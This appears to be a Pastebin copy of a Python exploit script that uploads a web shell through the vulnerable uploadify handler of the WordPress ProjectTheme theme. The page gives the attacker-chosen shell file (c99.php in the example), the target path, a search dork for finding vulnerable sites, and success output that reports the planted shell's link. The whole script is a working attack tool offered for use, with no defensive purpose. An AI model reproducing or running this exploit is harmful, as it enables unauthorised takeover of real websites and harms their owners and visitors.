Advertisement
meninbox

[python] Wordpress Theme ProjectTheme Shell Upload Vuln

Aug 6th, 2014
946
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.60 KB | None | 0 0
  1. import optparse
  2.  
  3. import sys
  4.  
  5. import pycurl
  6.  
  7. from cStringIO import StringIO
  8.  
  9. print "#________________________________________________________#"
  10.  
  11. print "| |"
  12.  
  13. print "| ProjectTheme Shell Upload Exploit |"
  14.  
  15. print "| |"
  16.  
  17. print "| Author:Aloulou |"
  18.  
  19. print "| Dork: inurl:/wp-content/themes/ProjectTheme |"
  20.  
  21. print "| Facebook: facebook.com/Aloulou.TN |"
  22.  
  23. print "| Email:aloulou@alquds.com |"
  24.  
  25. print "| Greeting to Tunisia , AnonBoy & All muslims |"
  26.  
  27. print "#________________________________________________________#\n"
  28.  
  29.  
  30.  
  31. parser = optparse.OptionParser(usage='python %s -t http://site.com -s shellname -p UploadingPath \nExample: python %s -t http://target.com -s c99.php -p /wp-content/uploads' %(sys.argv[0],sys.argv[0]))
  32.  
  33. parser.add_option('-t', '--target',action="store", dest="target",help="-t http://site.com", default="")
  34.  
  35. parser.add_option('-s', '--shell',action="store", dest="shellname",help="-s c99.php", default="")
  36.  
  37. parser.add_option('-p', '--path',action="store", dest="path",help="-p /wp-content/uploads", default="")
  38.  
  39. options, args = parser.parse_args()
  40.  
  41. if options.target=="": print ("Type \"python %s -h\" for help"%sys.argv[0])
  42.  
  43. else:
  44.  
  45. pth='folder'
  46.  
  47. shpath=options.path
  48.  
  49. target=options.target
  50.  
  51. filename=options.shellname
  52.  
  53. psd='Filedata'
  54.  
  55. themename='ProjectTheme'
  56.  
  57. c = pycurl.Curl()
  58.  
  59. c.setopt(c.POST, 1)
  60.  
  61. c.setopt(c.HTTPPOST, [('title', 'test'), ((psd, (c.FORM_FILE, filename)))])
  62.  
  63. c.setopt(c.VERBOSE, 0)
  64.  
  65. bodyOutput = StringIO()
  66.  
  67. headersOutput = StringIO()
  68.  
  69. c.setopt(c.WRITEFUNCTION, bodyOutput.write)
  70.  
  71. c.setopt(c.URL, '%s/wp-content/themes/%s/lib/uploadify/upload.php?%s=/%s' %(target,themename,pth,shpath) )
  72.  
  73. c.setopt(c.HEADERFUNCTION, headersOutput.write)
  74.  
  75. c.perform()
  76.  
  77. x=bodyOutput.getvalue()
  78.  
  79. shname=options.shellname
  80.  
  81. if "/" in shname:
  82.  
  83. shname=options.shellname.rsplit('/',1)
  84.  
  85. if x=="1":
  86.  
  87. print ('Shell uploaded successfully LINK=%s/%s/%s' %(target,shpath,shname[1]))
  88.  
  89. else:print("Shell upload Failed!")
  90.  
  91. else:
  92.  
  93. shname=options.shellname
  94.  
  95. if x=="1":
  96.  
  97. print ('Shell uploaded successfully LINK=%s/%s/%s' %(target,shpath,shname))
  98.  
  99. else:print("Shell upload Failed!")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement